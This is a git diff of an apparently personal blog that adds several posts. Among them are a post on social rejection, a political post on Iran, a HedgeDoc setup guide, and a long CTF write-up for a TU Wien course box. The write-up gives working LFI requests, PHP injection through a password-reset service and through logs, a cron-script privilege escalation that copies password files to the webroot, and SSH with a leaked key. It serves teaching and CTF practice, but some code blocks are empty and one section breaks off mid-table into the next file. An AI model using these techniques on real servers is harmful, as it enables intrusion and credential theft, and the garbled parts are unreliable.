count person X as a friend, but they are never invited to anything. +They are kept at arms distance. +Now I would assume it's fun for many many people, but me... +I already have a small social cycle. +It requires so much energy for me to start new connections, connections that are worth keeping. +I don't want to be a docker container. +Some isolated thing that is only interacted with when needed. +But I think I communicated this so badly, that it came off wrong. +To be honest, even my therapist didn't seem to believe me when I said I wanted to be included in her social circle. +He though it was an attempt by me to poke her. +I do strongly believe this wasn't the case, but I'm too hurt to try to defend myself. +I also highly doubt defending myself would work, it would just add more pressure, and harder rejection. + +Now the interesting part is my reaction. "Withdrawal". +The lesson I learned from past experiences is that explaining yourself or trying to fix things just results in more pain for you, and nothing being fixed. +But this was strong. +I did not want to respond. +In fact, my first reaction was to delete the platform, not to be able to see the message to get hurt. +During my therappy though, I did open the message. +I went silent. +I tried to process. +The weight of that was heavy. +It became hard to talk. +Hard to reason. +It was just.... sad. + +Going forward I know that the best way forward for me is to stop any communications with her. +It is sad, this losing of a friend, but let's be honest, were we friends? +No. +Not my definition of friendship. +And honestly, this should be a hard line for me, I don't care how you define friendship. +If it isn't mutual, it isn't good enough for me. +I need to be more dominant, and less scared. +My lines are my lines, and they are not to be negotiated with. +I need to remain strong, and just let go. + +I just realized I did not even talk about what happened. +LMAO. +Long story short, there was this person who I knew for some time. +We used to exchange messages every once in a while. +I asked if we would be spending time together, or with each other's social circle, which to be honest came out super wrong :)))))) +I wasn't trying to ask her out. +I just wanted to be included in some of the social gatherings with her social circle. +To expand mine. +To get to see new people. +Call me an idiot, or whatever, but I didn't know how to put this into words. +And I did not do it correctly it seems as I got "rejected". +But as my friend says, "better a sad ending, than a never ending sadness". +I wansn't trying to ask her out, but my social skills are so bad that it came so so wrongly. + +I do stand by my decision though. +No more interactions with her. +Nothing. +I need to become friends with people that don't keep me isolated, or stored for their needs. +It should be mutual. +At least, whatever interactions we had, had nothing useful for me. +If anything, it just hurt me by showing how lonely I am. +You can argue that is a good thing to at least figure it out, and I would argue why would I keep being fed this thing if there is no levy for me out? +If I'm not being helped. +If I'm being kept at arms distance. +If I'm being isolated. +I'm no docker process who should be kept isolated. +I'm the kernel module. + +This came out weird coming from me, but it is what it is :) +I should, and need to say "I" sometimes. +I need to assert dominance, to show I'm in control, to show I'm happy, to show everything is fine. + + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/face_of_rejection.md.asc b/public-clearnet/sources/posts/face_of_rejection.md.asc new file mode 100644 index 0000000..3faa083 --- /dev/null +++ b/public-clearnet/sources/posts/face_of_rejection.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM +jSq7nRAAoHcoeGwQcuv/tZC3mF3UcoYP9wakYBqbU08NlW79pd5Xb7fE8rAuRWvu +8GVoIqWq+TyIlyGxeimCQODf+XsGefNSM9vGAkBHSVeLoKDyGE0/lpHJGwM7xFjd +a2HnGbMq/jU5hJQC1R4L6tccfIlMXi59t5FXkZLsA9wkK13bXMzeL1PGNX/rW/nK +8hL89tHEzIc2dak/hjvuWH+yGSFHKfKdu3A5WrrylYrVIwoD87ReQ0htCph0rmKX +5SBo89MZ1ba4zBrZCGDFzVPX3l/TtGrBncN+YBSAXuu1FO8ZY6+99aEDsR7ZSjun +S0tjoIj4h4ee0AguQEahAJpiw43Z+1h35H56M9mugtlj74CO5Sp5I2r/0IMB21To +ygyAe7qC9NRu9w/BYUcadtZzOBWTStXS2y+mJrquevbACf41b6R+xyy+ynpYcNGh +44nxVQtHCTsqRBnAmBaI9rYMz2QJLenYDwylOV3ewPIgiL0VgGcoK+SzEou6Mwkl +qGSqWbOL93xL4RiiFIaua9LWF2YMWusV+2udyzLhCQkXQPkukT/zDTQ9CU/IekMw +3viSmHIulux1JoC3Y34bDKZcF6bborwthT+oG6K7BgMkQ9TzwFDpEsmycmBfUlNG +I6nDwjp4PGAC5JdfOaXbPLBoSz7tB65Hv2TrZaPCKdhr5hfkmV8= +=hVGo +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/g00_tuw_measurement_ctf.md b/public-clearnet/sources/posts/g00_tuw_measurement_ctf.md new file mode 100644 index 0000000..449e2cd --- /dev/null +++ b/public-clearnet/sources/posts/g00_tuw_measurement_ctf.md @@ -0,0 +1,455 @@ +--- +title: "A TU Wien CTF where Sysops Klaus left the keys in the cron job" +date: 2026-06-05T12:00:00Z +draft: false +tags: ["ctf", "tuwien", "lfi", "web", "linux", "nginx", "php", "privesc"] +categories: ["CTF", "Security"] +toc: true +summary: "LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of." +--- + +> **Spoiler alert:** this is a full writeup. If you still want to solve `g#.tuw.measurement.network` yourself, stop here and go poke the box. I'll wait. …No? Ok. Hello friends. + +This post documents how I solved a CTF box that came out of [Tobias Fiebig](https://www.inet.tuwien.ac.at/)'s *Real World Security* presentation at TU Wien — the one with **Sysops Fahrer Klaus**, the guy who "just quickly fixes prod" and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain. + +Each student group gets their own host (`g00`, `g01`, …). The goal is simple on paper: + +1. Collect every `passwd_part` file sitting in user home directories. +2. Stitch them together into the **root password** (the full answer lives in `/root/passwd`). + +Simple. Boring. Except Klaus was clearly in charge of this VM. + +--- + +## 0) The lay of the land + +**Target:** `g00.tuw.measurement.network` + +From the outside you mostly see three faces of the same machine: + +| Host | What it is | +|------|------------| +| `g00.tuw.measurement.network` | Main vhost — `documentation.md`, directory listing, a teasing `passwd_part` that returns **403** | +| `web.g00.tuw.measurement.network` | PHP "meme gallery" with a very trusting `?page=` parameter | +| `pwreset.g00.tuw.measurement.network` | Internal password-reset app — **not reachable directly** from the internet | + +Users on the box (from `/etc/passwd` via LFI): `user1`–`user4`, `monitoring`, `www-data`, `root`. + +SSH from outside? Public key only. Password auth is a lie (for us, anyway). + +--- + +## 1) Recon — documentation.md saves the day + +First stop: the main site. + +```bash +curl -s https://g00.tuw.measurement.network/documentation.md +``` + +That file is basically a treasure map. It mentions two services: + +- **web** → `web.g00.tuw.measurement.network` +- **pwreset** → `pwreset.g00.tuw.measurement.network` + +I also poked the obvious paths (`.git`, `phpinfo`, swap files, `robots.txt`, …). Nothing juicy on the main vhost except the directory index and the forbidden `passwd_part`. + +Subdomains resolve. Good. Let's go web. + +--- + +## 2) LFI — `include($_GET['page'])` classic + +The web vhost is a frameset. Content loads in a frame via `?page=`: + +```bash +curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd' +``` + +And there it is — root, users, the whole `/etc/passwd` parade inside the frame. + +Source via PHP filter works too: + +```bash +curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \ + | sed -n 's/.*frame name="in">//p' | base64 -d +``` + +`index.php` is roughly: + +```php + +``` + +Klaus, my man. We love you. + +**First instinct:** read all the `passwd_part` files immediately. + +```bash +# spoiler: doesn't work +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part' +# → permission denied +``` + +Same for `user2`–`user4`, `monitoring`, `root/passwd`. The LFI runs as `www-data`. Those files are not world-readable. Fair. + +--- + +## 3) pwreset — localhost-only, but LFI doesn't care about nginx + +Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual: + +```nginx +allow 127.0.0.1; +deny all; +``` + +So you can't hit `https://pwreset.g00...` from your laptop. But PHP on the **web** vhost can still **include** the pwreset `index.php` file — that's a local file include, not an HTTP request. + +pwreset source (paraphrased): + +```php +$user = $_GET['user'] ?? ''; +$pass = $_GET['pass'] ?? ''; +file_put_contents('/var/www/userchange', "$user:$pass\n"); +echo "Password reset queued."; +``` + +It writes `user:pass` lines to `/var/www/userchange`. Something on the system processes that file later (spoiler: `chpasswd`, not shell). + +**Trigger it through LFI:** + +```text +https://web.g00.tuw.measurement.network/ + ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php + &user=user1 + &pass=MyTestPass1! +``` + +I confirmed writes by reading `/var/www/userchange` back through the LFI. The file updates. Something also **clears** it on a schedule — so a cron job is definitely eating it. + +--- + +## 4) RCE — PHP in `userchange`, included like a boss + +At some point I wondered: what if the thing that processes `userchange` doesn't only run `chpasswd`? What if it **includes** the file as PHP? + +So I wrote a tiny shell into the `user` field via pwreset: + +```php + +``` + +Then included `/var/www/userchange` through the LFI: + +```text +?page=/var/www/userchange +``` + +**Output:** `uid=33(www-data) gid=33(www-data) ...` + +Short tags (``) for the win. A longer `` payload also works, but the backtick version is minimal and cute. + +From here on, my mental model was: + +1. **pwreset** → write arbitrary-ish content to `/var/www/userchange` +2. **LFI include `userchange`** → execute PHP as `www-data` + +That's RCE. Not root yet, but we'll get there. Klaus always leaves one more door open. + +--- + +## 5) Rabbit holes (aka "everything I tried before it worked") + +This box is a *presentation* CTF. It wants you to wander. I wandered. Hard. + +### nginx log poisoning + +The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. **Plot twist:** Tobias later confirmed it *is* the intended RCE path. I just griefed myself out of it. See [§11 Bonus](#11-bonus-the-intended-log-poisoning-path) for the real technique and what I screwed up. + +Short version of my failure: I poisoned via **HTTPS** (wrong log), sprayed **broken PHP** into the HTTP log, and never read the hint in `index.php` source until it was too late. + +### `data://`, `php://input`, `expect://` + +```bash +?page=data://text/plain, +?page=php://input # with POST body +?page=expect://id +``` + +Nope. `allow_url_include = Off`. Klaus isn't *that* careless. + +### vim `.swp` files + +`.memes.php.swp` is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried `img_src` shell escapes on `memes.php` / `convert_img.php`. + +Empty memes page. No execution. Nice red herring — very on-theme for the talk. + +### Munin / `apt_all` plugin + +The presentation mentions monitoring (Nagios/Munin vibes). I went hunting: + +- `/etc/munin/plugins/apt_all` — referenced in cron, but the plugin file **doesn't exist** +- Brute-forced tons of plugin names and backup suffixes (`.bak`, `.swp`, `~`, …) +- Waited for cron cycles hoping a custom plugin would curl localhost pwreset + +**Verdict:** the `apt_all` munin path is a distraction (or a removed artifact). The real privesc was elsewhere. + +### pwreset log archaeology + +Reading `/var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log` via LFI is gold for lore: + +- Saw historical resets like `user3` → `foobar23` +- Tried `foobar23` over SSH for every user + +**From outside:** still `Permission denied (publickey)`. Password auth isn't offered externally. TU Wien network / internal access might differ — I didn't have that. + +### Shell script injection into `userchange` + +I tried newline injection to turn `userchange` into a bash script: + +```text +user= +#!/bin/sh +cp /home/user1/passwd_part /var/www/.../p1 +... +``` + +Cron cleared the file. No copies appeared. The processor uses **`chpasswd`**, not `/bin/sh`. Good lesson. Wrong path. + +### Brute-forcing the `userchange` consumer + +I spawned searches across `/etc/cron.d`, puppet manifests, `/usr/local/sbin`, systemd units, … — looking for whatever reads `userchange`. + +Eventually **didn't need it**. Once RCE landed, grepping and `find` from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren't on the winning path.) + +### Direct SSH password guessing + +Tried setting root's password via pwreset (`root:RootPass123!`), waited for cron, attempted SSH. + +From the internet: **publickey only**. The reset machinery may still work internally, but I couldn't log in with passwords from outside. + +--- + +## 6) Privesc — world-writable cron script (peak Klaus) + +With RCE as `www-data`, I looked for writable files: + +```bash +find / -writable -type f 2>/dev/null | head +``` + +Jackpot: + +```text +-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh +``` + +Original script (innocent): + +```bash +#!/bin/bash +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config +``` + +It's run by **cron as root** (Puppet-managed). `www-data` can edit it because `user1` owns it and the group is `www-data` with world-writable perms. Chef's kiss. + +I appended: + +```bash +cp /home/user1/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1 +cp /home/user2/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2 +cp /home/user3/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3 +cp /home/user4/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4 +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm +cp /root/passwd /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p* +``` + +Then either waited for cron or executed the script manually via RCE: + +```php + +``` + +**Files appeared in the webroot.** Root-readable secrets exfiltrated by root itself. Klaus would be proud. + +--- + +## 7) SSH as `www-data` — because keys in the webroot are a mood + +The main vhost webroot also had `.ssh/id_rsa` for `www-data`. Of course it did. + +```bash +# via RCE: cat the key, save locally, chmod 600 +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \ + www-data@g00.tuw.measurement.network +``` + +Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files. + +--- + +## 8) The password parts + +| Source | File | Part | +|--------|------|------| +| user1 | `p1` | `DcC6Da0A27384fA` | +| user2 | `p2` | `9Ce05B3cAd57824` | +| user3 | `p3` | `3aD80fa1b7AE986` | +| user4 | `p4` | `CDefabffab1FCCf` | +| www-data | `passwd_part` | `44D885d6DAb8Bb9` | +| root | `rootpass` | `ghadnuthduxeec7` | + +**Missing:** `monitoring/passwd_part` — copying to `pm` failed (no file / permission denied even as root's cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient. + +**Combined root password (95 characters):** + +```text +DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7 +``` + +Order: `user1 + user2 + user3 + user4 + www-data + root_suffix`. + +I double-checked byte lengths with `wc -c` and `od` over SSH. No sneaky newlines. + +Root SSH with that password from **outside** still didn't bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method. + +--- + +## 9) Attack chain (one screen) + +```text +documentation.md + → web vhost LFI (include $_GET['page']) + → include pwreset index.php (localhost bypass) + → write PHP to /var/www/userchange + → LFI include userchange + → RCE as www-data + → append to world-writable cron_update_hostname_file.sh + → cron runs as root → copies passwd parts to webroot + → read parts / SSH as www-data + → profit +``` + +Very "real world" in the worst way. Multiple small mistakes compounding into a full chain. + +--- + +## 10) Replay script + +I left a minimal Python replay in the challenge repo: + +```bash +python3 solve.py +``` + +Core logic: + +```python +def pwreset(user, passwd=""): + # LFI-include pwreset index.php with user/pass params + +def rce(cmd): + pwreset(f"", "") + return lfi_include("/var/www/userchange") +``` + +It prints `id`, the modified cron script, each part file, and the combined password. + +--- + +## 11) Bonus: the intended log poisoning path + +After I solved the box the scenic route (pwreset → `userchange`), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: **griefing the logs is part of the game** — and students mostly grief *themselves*. Fair. 😂 + +So here's the path you're *supposed* to take for RCE, and how I accidentally took the scenic bypass. + +### The hint is in `index.php`, not `documentation.md` + +`documentation.md` only lists the services (`web`, `pwreset`). It says nothing about logs. The actual breadcrumb is an HTML comment in `index.php` (readable via PHP filter LFI): + +```html + +``` + +Four logs. Two pairs: **HTTP** and **HTTPS (ssl-)**. The comment doesn't say "don't use SSL" — but the intended trick is to use the **non-ssl** access log. + +### Intended technique + +1. **Poison over HTTP** (port 80), not HTTPS — so nginx writes to the smaller vhost log: + + ```text + /var/log/nginx/web.g00.tuw.measurement.network.access.log + ``` + +2. Put PHP in the `User-Agent` (or another logged field): + + ```text + + ``` + + Short tags like `` `` work too. Use **quoted** `'cmd'` — bare `$_GET[cmd]` is a PHP 8 footgun. + +3. **Include that log** through the same LFI bug: + + ```text + https://web.g00.tuw.measurement.network/ + ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log + &cmd=id + ``` + +On a **fresh** box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get `www-data`. That's RCE. No pwreset required. + +### How I griefed myself + +| What I did | Why it hurt | +|------------|-------------| +| Defaulted to `https://` everywhere | Poison landed in `ssl-web...access.log` — **670 KB+** and growing | +| Included the ssl log via LFI | Output truncates around ~2 KB; poison sits at the tail | +| Fired dozens of test payloads | Left broken `}} diff --git a/public-clearnet/sources/posts/g00_tuw_measurement_ctf.md.asc b/public-clearnet/sources/posts/g00_tuw_measurement_ctf.md.asc new file mode 100644 index 0000000..daebdc1 --- /dev/null +++ b/public-clearnet/sources/posts/g00_tuw_measurement_ctf.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1 +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03 +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+ +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+ +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ= +=BDGe +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/h3ll0_fr1end.md b/public-clearnet/sources/posts/h3ll0_fr1end.md new file mode 100644 index 0000000..42d5cae --- /dev/null +++ b/public-clearnet/sources/posts/h3ll0_fr1end.md @@ -0,0 +1,27 @@ ++++ +title = 'H3ll0 Fr1end' +date = 2026-05-02T16:17:02Z +draft = false ++++ + +Hello friends. I'm back. It's been... let's say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I'm so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it's shadow over the country for decades. It's funny how his father (I'm talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people's lives, and then selling people's food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it's not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not "own" makes him the best candidate for exploitation. And he has shown this very well. + + +The occasion is super grim. Radical right wants to oust radical right. LMFAOOOOO. I honestly think Iranian people are just far far divided, and both sides are utterly culturally underdeveloped. Anger has blinded their eyes, and they made a deal with the devil. The end will not be any good either. I have no hopes for the country anymore. + +It's so so sad that I'm siding the with this disgusting theocratic regime, just because they have not folded in front of the ones who do not care the least about Iran. Those who want to create a fail state, and expand their borders. It's so sad that every time the country tried to move toward democracy, the people got fucked by a foreign power. The current revolution, the uprisings of 2023-4, JCPOA, ..., Persian Constitutional Revolution, etc.. So fucking sad. + +The saddest part is with how much Iran has gotten fucked over the decades, and how far right this regisme has become, I don't think the people will ever have the possibility of making change from within for many many more years to come. And foreign intervention just fuels the current regime's influence over it's people. + +Another reason why we got so screwed is Oil. The curse of resources is sadly a thing that can cause what you see. A defiant regime, who rules bruttally against it's own people. Years of stagflation, and no bright light in sight. + +Anyway, I just wanted to write something as I was very much inactive for the past few months. I submitted a paper this week, and have big big plans for my own projects. :) + +Unfortunately not advancement on the dating lifepart. Dating sucks for avg boys like me! Cross your fingers please! :D:D + +I honestly also don't feel like proofreading the text, so... there would be many mistakes. :) And honestly, idc. + + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/h3ll0_fr1end.md.asc b/public-clearnet/sources/posts/h3ll0_fr1end.md.asc new file mode 100644 index 0000000..4ecfff4 --- /dev/null +++ b/public-clearnet/sources/posts/h3ll0_fr1end.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM +jSrREBAAlQM2XgTsOiyZ9MkFSkJ47nsvh9rqslZMdQkfHyHwUBAFdjUfx18ZFvRK +5JOxVAUAk1R8GOzr8LqTVeBMEmztnBFrYcnzXo0wfbydPt6IdgmCNQMAYHw/y/Pz +Ncqa1n+O/lOyAWm2kMEwtNEqAj9TB48LxF53DCzpFO/mjr80aBYhVPQN4GlqMs9l +rsY6qy0LbzC3FPtw0DdxEVr8seL7qYZc34tnTtsGFdxoalbS+K5uanIieb1qQ5Rw +z6UNkiCqUJQVVsZc04PlzBQfghRwifwgwuh2rDh1yl9cClgE4Gu2QmATq+8+ozH+ +0XME9Dy/xEhbFay5FphJ7u8BoxCEkuLRmYjfYxkXB8N81uSCMitxKywsL5Bn/Mwb +4bXwNsJUqeNC7UIWnaMoEzy9aR53BRsOEZdEMY+1Ade+vRbuQOxTq70prw9efUnM +XraZbBSSERV9v8d16A4ZA3hn6PsbvACYAa72FzrlrZhgeSMgagoLp+QWcUBiRZCS +/mNXcSn04Ep/o9EuFZZyxRPGx0fFXO2ZNjN/WpctIb8qlNyoqMhyMb4NXJXrr/d1 +wY3LJjmn8UM+MOi0CRBYg0B0He4AnGsKD2ARncv6s3vPwPWr95p6jhThOZ/3wqyM +QGESlBJ5rM/PmozfLI5D+I+YuX9HM8VO1/HcP28U11lfGCm48YA= +=7md6 +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/hedge_doc.md b/public-clearnet/sources/posts/hedge_doc.md new file mode 100644 index 0000000..1b3c834 --- /dev/null +++ b/public-clearnet/sources/posts/hedge_doc.md @@ -0,0 +1,191 @@ +--- +title: "Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt" +date: 2025-08-29 +draft: false +tags: ["hedgedoc", "docker", "nginx", "letsencrypt", "self-hosting"] +categories: ["guides"] +cover: + image: "/images/hedgedoc-cover.png" + alt: "HedgeDoc collaborative editing" + caption: "Collaborative Markdown editing with HedgeDoc" + relative: true + hidden: false +--- + +HedgeDoc is an open-source collaborative Markdown editor. Think *Google Docs for Markdown*: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. + +--- + +## Prerequisites + +- A Linux server with **Docker** and **Docker Compose** +- A domain name pointing to your server (e.g. `notes.alipourimjourneys.ir`) +- **Nginx** installed for reverse proxying +- **Certbot** for Let’s Encrypt certificates + +--- + +## 1. Create the project directory + +{{< highlight bash >}} +mkdir ~/hedgedoc && cd ~/hedgedoc +{{< /highlight >}} + +--- + +## 2. Create `.env` + +{{< highlight env >}} +POSTGRES_PASSWORD=ChangeThisStrongPassword +HD_DOMAIN=notes.alipourimjourneys.ir +{{< /highlight >}} + +Generate a strong password with: + +{{< highlight bash >}} +openssl rand -base64 32 +{{< /highlight >}} + +--- + +## 3. Create `docker-compose.yml` + +{{< highlight yaml >}} +version: "3.9" + +services: + db: + image: postgres:16 + environment: + POSTGRES_USER: hedgedoc + POSTGRES_PASSWORD: ${POSTGRES_PASSWORD} + POSTGRES_DB: hedgedoc + volumes: + - db:/var/lib/postgresql/data + restart: unless-stopped + + hedgedoc: + image: quay.io/hedgedoc/hedgedoc:1.10.2 + depends_on: + - db + environment: + CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc + CMD_DOMAIN: ${HD_DOMAIN} + CMD_PROTOCOL_USESSL: "true" + CMD_URL_ADDPORT: "false" + CMD_PORT: "3000" + CMD_EMAIL: "true" + CMD_ALLOW_EMAIL_REGISTER: "false" + volumes: + - uploads:/hedgedoc/public/uploads + ports: + - "127.0.0.1:3000:3000" + restart: unless-stopped + +volumes: + db: + uploads: +{{< /highlight >}} + +Bring it up: + +{{< highlight bash >}} +docker compose up -d +{{< /highlight >}} + +--- + +## 4. Get a Let’s Encrypt certificate + +Request a cert with a **DNS challenge**: + +{{< highlight bash >}} +sudo certbot certonly --manual --preferred-challenges dns -d notes.alipourimjourneys.ir -m you@example.com --agree-tos --no-eff-email +{{< /highlight >}} + +Add the TXT record certbot asks for, wait for DNS to propagate, then continue. +Certificates will be in: + +{{< highlight bash >}} +/etc/letsencrypt/live/notes.alipourimjourneys.ir/ +{{< /highlight >}} + +--- + +## 5. Configure Nginx + +Create `/etc/nginx/sites-available/notes.alipourimjourneys.ir`: + +{{< highlight nginx >}} +server { + server_name notes.alipourimjourneys.ir; + + listen 80; + listen [::]:80; + return 301 https://$host$request_uri; +} + +server { + server_name notes.alipourimjourneys.ir; + + listen 443 ssl http2; + listen [::]:443 ssl http2; + + ssl_certificate /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem; + + location / { + proxy_pass http://127.0.0.1:3000; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto https; + + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + } +} +{{< /highlight >}} + +Enable the config and reload Nginx: + +{{< highlight bash >}} +sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/ +sudo nginx -t && sudo systemctl reload nginx +{{< /highlight >}} + +--- + +## 6. Create users + +Because we disabled self-registration, create accounts manually: + +{{< highlight bash >}} +docker compose exec hedgedoc ./bin/manage_users --add alice@example.com +{{< /highlight >}} + +You’ll be prompted for a password. +To reset a password later: + +{{< highlight bash >}} +docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com +{{< /highlight >}} + +--- + +## 7. Done! + +Visit [https://notes.alipourimjourneys.ir](https://notes.alipourimjourneys.ir) and log in with the user you created. You now have your own collaborative Markdown editor 🎉 + +--- + +**Extras:** + +- Backups: dump the PostgreSQL database and save the `uploads` volume. +- Upgrades: `docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d`. +- Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more. + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/hedge_doc.md.asc b/public-clearnet/sources/posts/hedge_doc.md.asc new file mode 100644 index 0000000..83ac93c --- /dev/null +++ b/public-clearnet/sources/posts/hedge_doc.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM +jSrPHA//WlMEZx1k/aGx3zau+wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0+26w +AGav2jBuChLYsDx+O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns +iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2+6RVtuthGUEV+ +QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj+Alur2Ji/gcGZlSArBnIoJQoK5L+r +UZLJsQ+LrqCJp4i+GkkX05si2srSTjawBu+ssHf+uwPg0Q6AMTbubrGiHrMMtMbM +4PCFtS8vD/ZBVkVpSBybyXdMxQU+y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/ +sBGHLThq9nZEXmMT2oQa1wi+CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU +5B9SwVtNqIzm7eoAbwckU3h+TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y +MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS+SF74jPkDjtc4EFuKB +QrMTBm/+Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk +aG3wFuWH4d9UFohK+MJIHqYk1+TbZJm3bnds8pOqniIZ7M5PcEg= +=uf5y +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/hello-world.md b/public-clearnet/sources/posts/hello-world.md new file mode 100644 index 0000000..6797182 --- /dev/null +++ b/public-clearnet/sources/posts/hello-world.md @@ -0,0 +1,11 @@ ++++ +title = 'Hello World' +date = 2025-08-25T08:53:38Z +draft = false ++++ + +This is a test hello world post just to make sure everything works! + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/hello-world.md.asc b/public-clearnet/sources/posts/hello-world.md.asc new file mode 100644 index 0000000..c9900c6 --- /dev/null +++ b/public-clearnet/sources/posts/hello-world.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM +jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY+8puTLs6Na2t7 